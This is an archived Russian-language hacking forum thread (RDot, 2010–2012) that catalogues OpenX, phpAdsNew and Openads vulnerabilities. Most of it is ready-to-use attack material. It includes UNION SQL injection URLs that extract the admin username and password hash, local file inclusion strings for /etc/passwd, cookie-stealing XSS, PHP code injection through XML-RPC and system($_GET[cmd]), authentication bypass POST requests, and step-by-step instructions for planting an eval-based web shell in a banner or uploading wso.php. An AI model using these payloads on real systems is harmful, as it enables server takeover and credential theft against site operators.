RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости Openx (phpAdsNew, Openads) (https://rdot.org/forum/showthread.php?t=70)

(dm) 05.07.2010 14:17

Уязвимости Openx (phpAdsNew, Openads)
 
Обновлено 21.04.2010 (Спасибо всем за активность)

[ + ] Общая информация:
Сайт: http://openx.org
Текущая версия: OpenX 2.8.5

[ + ] Краткий экскурс в названия:
phpAdsNew, Openads, OpenX - это название одного продукта, которое менялось в течении времени.

phpAdsNew - название движка c версии 2.0 до 2.0.9
Openads - название движка c версии 2.0.10 до 2.4.3
OpenX - название движка c версии 2.4.4 до настоящего момента


[ + ] Структура БД:
>> ветка OpenX 2.6; OpenX 2.8
Цитата:

Префикс: ox_
Таблица: users
Поля: user_id, email_address, username, password
user_id админа = 1
Алгоритм хеширования пароля md5
>> ветка OpenX 2.4
Цитата:

Префикс: ox_
Таблица: preference
Поля: agencyid, admin, admin_pw, admin_email
agencyid админа = 0
Алгоритм хеширования пароля md5
>> ветка OpenX 2.0
Цитата:

Префикс: phpads_
Таблица: config
Поля: configid, admin, admin_pw, admin_email
configid админа = 0
Алгоритм хеширования пароля md5

[ + ] Уязвимости для всей ветки OpenX 2.0 [phpAdsNew все версии, Openads до 2.0.11-pr1 включительно]
>> Раскрытие пути
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/adlayer.php?layerstyle=antichat
Цитата:

http://host/adclick.php?bannerid=id&antichat=xe%0Ak%0A
id - номер существующего баннера
>> XSS
условия:
+ register_globals = On

сплоит:
Цитата:

http://host/adcontent.php?bannerid=id&row[prepend]=<script>alert(document.cookie)</script>
http://host/adcontent.php?bannerid=id&row[append]=<script>alert(document.cookie)</script>
id - номер существующего баннера
>> Выполнение php кода
условия:
+ $phpAds_config['type_html_php'] = true; // default false
+ наличие html баннера
+ register_globals = On


сплоит:
Цитата:

http://host/adcontent.php?bannerid=id&row[prepend]=<?php phpinfo();?>
id - номер существующего html баннера
[ + ] Уязвимости phpAdsNew 2.0 - 2.0.5
>> Local File Include
http://securityreason.com/achievement_securityalert/21

сплоит:
Цитата:

http://host/adlayer.php?layerstyle=../../../../../../../../../../../etc/passwd%00
Примечание: возможно использовать ////[4096]//// как альтернатива null byte

[ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr2
>> Выполнение php кода (XML-RPC Library Remote Code Execution)
http://www.securityfocus.com/bid/14088/info

сплоит:
Цитата:

POST /adxmlrpc.php HTTP/1.1
Host: host
Connection: close
Content-Length: 168

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
[ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr1
>> Раскрытие пути
http://securityreason.com/achievement_securityalert/9
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/libraries/lib-xmlrpcs.inc.php
http://host/maintenance/maintenance-activation.php
http://host/maintenance/maintenance-cleantables.php
http://host/maintenance/maintenance-autotargeting.php
http://host/maintenance/maintenance-reports.php
http://host/misc/backwards compatibility/phpads.php
http://host/misc/backwards compatibility/remotehtmlview.php
http://host/misc/backwards compatibility/click.php
http://host/adcontent.php
>> XSS
http://securityreason.com/achievement_securityalert/9

сплоит:
Цитата:

http://host/adframe.php?refresh=securityreason.com'><script>al ert(document.cookie)</script>
[ + ] Уязвимости Openads 2.4.0 - 2.4.2
>> Выполнение php кода
сплоит:
Цитата:

http://host/www/delivery/ai.php?filename=antichat.jpg';system($_GET[cmd]);/*&contenttype=antichat&cmd=ls -la
[ + ] Уязвимости OpenX 2.6.0 - 2.6.3
OpenX 2.4.4 - 2.4.9
Openads 2.4.0 - 2.4.3

>> Local File Include
http://milw0rm.org/exploits/7883
Условия:
+ magic_quotes_gpc = Off

сплоит:
Цитата:

http://host/www/delivery/fc.php?MAX_type=../../../../../../../../../../../../../../../etc/passwd%00
Примечание: используется функция file_exists - для проверки, поэтому ////[4096]//// не подойдет как альтернатива null byte

[ + ] Уязвимости OpenX 2.6.0 - 2.6.1
OpenX 2.4.4 - 2.4.8
Openads 2.4.0 - 2.4.3

>> SQL injection
Есть сплоит на milw0rm - мало того что написан как blind sql injection, хотя там обычная инъекция с выводом X_X, так он ещё и корявый, писал какой-то калека.

сплоит для OpenX 2.6.0 - 2.6.1:
Цитата:

http://host/www/delivery/ac.php
?bannerid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_w s(0x3a,u.username,u.password),19,20,21,22,23,24,25 ,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 FROM ox_users u, ox_banners d, ox_clients m, ox_campaigns c WHERE u.user_id=1
Примечание: вывод будет в заголовок страницы <title> ... </title>

сплоит для OpenX 2.4.4 - 2.4.8
Openads 2.4.0 - 2.4.3:

Цитата:

http://host/www/delivery/ac.php
?bannerid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_w s(0x3a,p.admin,p.admin_pw),19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36,37,38 from ox_preference p, ox_banners d, ox_campaigns c WHERE p.agencyid=0
Примечание: вывод будет в заголовок страницы <title> ... </title>

[ + ] Уязвимости OpenX 2.6.0 - 2.6.4
OpenX 2.4.4 - 2.4.10
Openads 2.4.0 - 2.4.3

>> Blind sql injection
условия:
+ magic_quotes_gpc = Off

Описаниe: http://resources.enablesecurity.com/advisories/openx-2.6.4-multiple.txt

[ + ] Уязвимости OpenX 2.8.0 - 2.8.5
>> Раскрытие пути
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
http://host//www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
[ + ] Уязвимости OpenX 2.8.0
>> Обход аутентификации пользователя

сплоит:
Цитата:

POST /www/admin/install.php HTTP/1.1
Host: host
Connection: close
Content-Length: 13

btn_openads=1
[ + ] Уязвимости OpenX 2.8.2 - 2.8.3
>> Раскрытие установочной информации

сплоит:
Цитата:

POST /www/admin/install.php HTTP/1.1
Host: host
Connection: close
Content-Length: 28

btn_openads=1&btn_syscheck=1
Уязвимости которых нет:
Цитата:

phpAdsNew 2.0.4-pr2 Remote File Inclusion Exploit
phpAdsNew-2.0.8/admin/upgrade.php?phpAds_config[language]=../../../etc/passwd%00
phpAdsNew-2.0.8 (adlayer.php) Remote File Include

phpAdsNew-2.0.7/admin/report-index.php?filename=http://evil_scripts?
phpAdsNew-2.0.7/admin/lib-gui.inc.php?phpAds_config[my_footer]=http://evil_scripts?
phpAdsNew-2.0.7/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=http://evil_scripts?
PS Если найдете какие либо неточности, ошибки или будут вопросы по уязвимостям, пишите в личку.

(dm) 05.07.2010 14:18

загрузка шелла
 
Универсальный способ загрузки шелла.
Должно быть написано в админке: Работает как Default manager (необходимо переключиться с админа на "Default manager") (с)Nightmare

Условия:
+ Доступность на запись файла config.inc.php

Описание:
>> Для ветки OpenX 2.0
1.
Цитата:

В админ панели выбираем
Настройки ->
(вкладка) Главные настройки ->
(выпадающий список "Выберите раздел:") Настройки баннеров ->
(категория) Опции HTML-баннеров ->
Разрешить выполнение PHP-выражений из HTML-баннера

Сохраняем.
>> Для ветки OpenX 2.4
1.
Цитата:

В админ панели выбираем
Настройки ->
(вкладка) Главные настройки ->
(выпадающий список "Выберите раздел:") Настройки доставки ->
(категория) Настройки доставки баннеров ->
Разрешить исполнение кода PHP

Сохраняем.
>> Для ветки OpenX 2.6
1.
Цитата:

Переходим в админ панель, в правом верхнем углу ->
(Работает как) Administrator account

В админ панели выбираем
Мой аккуант ->
(вкладка) Общие настройки ->
(выпадающий список "Выберите раздел:") Настройки кэширования доставки ->
(категория) Настройки кэширования доставки ->
Разрешить исполнение кода PHP

Сохраняем.
>> Для ветки OpenX 2.8
1.
Цитата:

Переходим в админ панель, в правом верхнем углу ->
(Работает как) Administrator account

В админ панели выбираем
Конфигурация ->
(категория) Общие настройки ->
Настройки доставки баннеров ->
(категория) Настройки доставки баннеров ->
Разрешить исполнение кода PHP

Сохраняем.
2.
Цитата:

Добавляем баннер
Выбираем (выпадающий список: Тип баннера) HTML-баннер ->
В поле HTML-баннер ->
<?php
if (!empty($_POST['e']))
@eval(base64_decode($_POST['e']));
?>
test

Сохраняем
3.
Цитата:

Узнаем id созданного баннера, его можно увидеть в названии баннера.
4.
Цитата:

Передаем, нужные нам параметры:
Цитата:

http://host/adcontent.php?bannerid=id //OpenX 2.0
http://host/www/delivery/ac.php?bannerid=id //OpenX > 2.0

id - номер вашего баннера
Пример запроса для phpinfo() :
Цитата:

POST /www/delivery/ac.php?bannerid=id HTTP/1.1
Host: host
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
e=cGhwaW5mbygpOw==
Хочу заметить что в данном случае удобно использовать плагин для firefox - HackBar

--> 26.09.2010 03:32

openX 2.8.6

Path disclosure
Код:

http://localhost/openx-2.8.6/www/admin/plugins/openXWorkflow/application/bootstrap.php
Path disclosure
display_errors = On
Код:

http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-debug.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-api.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-export-csv.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/navigation/oxVastMenuChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_base.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_hollow.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_line.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_bar_filled.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_dot.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_hollow.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_sugar.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis_right.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/function.url.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/modifier.formatNumber.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/AreaGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/BaseGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/LineGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/oxMarket.class.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketActiveChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketAdminStatsChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketEntityChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketMultipleAccountsModeChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketStandaloneModeChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Advertiser.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Campaign.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignForm.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignsSettings.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityFormManager.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityHelper.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityScreenManager.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/FloorPriceCompare.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/QuickFormFloorPriceCompareRuleAdaptor.php
...
раскрытий много.

Path disclosure
display_errors = On
Код:

http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
барыжная XSS
Код:

http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=%3Cimg%20alt=%22%ED%E0%E6%EC%E8%22%20onmouseover=%22javascript:alert%28123%29%22%20%3E
ofc_upload_image.php
PHP код:

/*...*/ 
// full path to the saved image including filename //
$destination $default_path basename$_GET'name' ] );

echo 
'Saving your image to: '$destination;
/*...*/ 

Записываем шелл
ofc_upload_image.php
rg on
PHP код:

/*...*/
// default path for the image to be stored //
$default_path '../tmp-upload-images/';

if (!
file_exists($default_path)) mkdir($default_path0777true);

// full path to the saved image including filename //
$destination $default_path basename$_GET'name' ] );

echo 
'Saving your image to: '$destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh fopen($destination'w') or die("can't open file");
fwrite($jfh$HTTP_RAW_POST_DATA);
fclose($jfh);

//
// LOOK:
//
exit();
/*...*/ 

Если б небыло дальше exit(), то можно было лить шелл бес зависимости судя по коду который идет после exit(не выложил в даном случае).

Експлоит:
Код HTML:

<form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=wso.php' method=post enctype=multipart/form-data>
<textarea rows="10" cols="45" name="HTTP_RAW_POST_DATA"></textarea>
<input type=submit value=Загрузить></form>

будет текст:
Цитата:

Saving your image to: ../tmp-upload-images/wso.php
Шелл будет тут:
Код:

http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php
Решил почитать о $HTTP_RAW_POST_DATA

Оказуетцо, если register_globals off, то все же писать данные в файл возможно.
Только данные урл-кодируютцо, если не урл-кодированные, то мы имеем шелл.

В $HTTP_RAW_POST_DATA заганяютцо пост-даные напрямую.

В php.ini должно быть
Цитата:

; Always populate the $HTTP_RAW_POST_DATA variable.
always_populate_raw_post_data = On
файл 1.php:
Код:

<form method="post">
<input name="data" type="text" value="12345">
<input type="submit" value="Send">
</form>
<?php echo $HTTP_RAW_POST_DATA; ?>

обращаемся:
Код:

http://localhost/1.php
результат:
data=12345

Експлоит:
Код:

<form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php' method=post>
<input name="Name" type="text" value="[используем не кодированные данные!]">
<input type="submit" value="Send">
</form>

Цитата:

Host=localhost
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=115
Connection=keep-alive
Referer=http://localhost/1.html
Cookie=vc=26; OAID=f3376b72128277e77c859bc6ca859fc7
Content-Type=application/x-www-form-urlencoded
Content-Length=21
POSTDATA=Name=<? phpinfo(); ?>
Наш шелл в даном случае тут:
Код:

http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php
Хе-хе, самое интересное, когда пихать с атрибутом enctype, то нет никакого результата.
Код:

<form method="post" enctype=multipart/form-data>
<input name="data" type="text" value="12345">
<input type="submit" value="Send">
</form>
<?php echo $HTTP_RAW_POST_DATA; ?>

зы
PHP Version 5.2.14, нужная директива была закоментирована.


Обход авторизации


Работает на 2.8.2(тестил) и других: 2.8.0,2.8.3 -> на античате было написано.

Експлоенг:
Код HTML:

<form action="http://localhost/openx-2.8.2/www/admin/install.php" method=post>
<input name="btn_openads" type="hidden" value="1">
<input name="btn_plugins" type="hidden" value="1">
<input type='submit'>
</form>

в банер надо впихнуть:
Код:

<?php eval($_REQUEST[ev]); ?>
Код HTML:

<form action="http://localhost/openx-2.8.2/www/delivery/ac.php?bannerid=2&ev=copy($_FILES[file][tmp_name],$_GET[aa]);&aa=./shell.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br>
<input type="submit" value="Загрузить"><br>
</form>


}{оттабыч 12.10.2010 20:43

pXSS
/plugins/deliveryLimitations/Client/lib/phpSniff/index.php
PHP код:

/*...*/
require_once('phpSniff.class.php');
require_once('phpTimer.class.php');
/*...*/
$sniffer_settings = array('check_cookies'=>$GET_VARS['cc'],
                          'default_language'=>$GET_VARS['dl'],
                          'allow_masquerading'=>$GET_VARS['am']);
$client =& new phpSniff($GET_VARS['UA'],$sniffer_settings);
/*...*/
<tr>
<td bgcolor="<?php print $c1_bg?>">ua</td>
<td width="100%" bgcolor="<?php print $c2_bg?>"><?php print $client->get_property('ua');?></td>
</tr>
/*...*/

/plugins/deliveryLimitations/Client/lib/phpSniff/phpSniff.class.php
PHP код:

/*...*/
function phpSniff($UA='',$settings true)
{
/*..*/
if(empty($UA)) return false;
        
        
$this->_set_browser('ua',$UA);
        if(
$run$this->init();
/*...*/
  
function property ($p=null)
    {   if(
$p==null)
        {   return 
$this->_browser_info;
        }
        else
        {   return 
$this->_browser_info[strtolower($p)];
        }
    }
/*...*/
 
function _set_browser ($k,$v)
    {   
$this->_browser_info[strtolower($k)] = strtolower($v);
    }
/*...*/
function get_property ($p)
    {    return 
$this->property($p);
    }
/*...*/ 

Код:

PoC
http://[host]/[path]/plugins/deliveryLimitations/Client/lib/phpSniff/index.php?UA=%3Cscript%3Ealert%28123%29%3C/script%3E

Проверил на OpenX 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7.

Path disclosure
условия -> никаких
на данный момент на последней ветке 2.8.7 что нашел --> работает
Код:

PoC http://[host]/[path]/www/admin/plugins/openXWorkflow/application/bootstrap.php

.Slip 05.02.2012 17:17

OpenX 2.8.7 - Local File Include
/lib/max/Delivery/cookie.php


register_globals = On

PHP код:

if (!is_callable('MAX_cookieSet')) {
    if (!empty(
$conf['cookie']['plugin']) && is_readable(MAX_PATH "/plugins/cookieStorage/{$conf['cookie']['plugin']}.delivery.php")) {
        include 
MAX_PATH "/plugins/cookieStorage/{$conf['cookie']['plugin']}.delivery.php";
    } else { 

Код:

/lib/max/Delivery/cookie.php?conf[cookie][plugin]=../../../../../../robots.txt%00
PS Ничего не нашёл на багтраках под 2.8.7, возможно эта бага есть в ранних/поздних версиях, ибо: $Id: cookie.php 62345 2010-09-14 21:16:38Z chris.nutting $

tex 06.02.2012 11:03

register_globals уже наверное только в преданиях и остался

dumb 07.02.2012 18:04

Цитата:

Сообщение от .Slip
PS Ничего не нашёл на багтраках под 2.8.7

Есть одна
http://andrewjstevens.posterous.com/...ection-exploit

yusmat 25.07.2012 23:42

есть уязвимость в http заголовке в параметре host

Код:

GET http://opx.ru/www/delivery/avw.php HTTP/1.1
Host: qwert

в результате в логе sql есть строчка
Код:

LOAD DATA LOCAL INFILE
                'Z:/home/opx.ru/www/www/delivery/../../var/cache/qwert-batch-`tmp_ad_zone_impression`.csv'
               
            INTO TABLE
                `tmp_ad_zone_impression`
            FIELDS TERMINATED BY
                '        '
            ENCLOSED BY
                '\"'
            ESCAPED BY
                ''
            LINES TERMINATED BY
                '\n'
                (`ad_id`,`zone_id`,`required_impressions`,`requested_impressions`,`to_be_delivered`)

проблема в том что нужно придумать как отрезать лишнее в многострочном запросе с учетом того что нуль байт через host не передаеться
вобщем host используеться во многих вещах
например загрузка основного конфига
Код:

$host = OX_getHostName();
$configFileName = $configPath . '/' . $host . $configFile . '.conf.php';


b3 26.07.2012 06:20

Вместо нулл байта попробуй комментировать.

yusmat 26.07.2012 10:10

в том то и дело что коментировать бесполезно так как запрос многострочный то есть содержит enter
отрезаеться только то что идет в первой строке остальное дает sql error


Часовой пояс GMT +3, время: 05:24.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot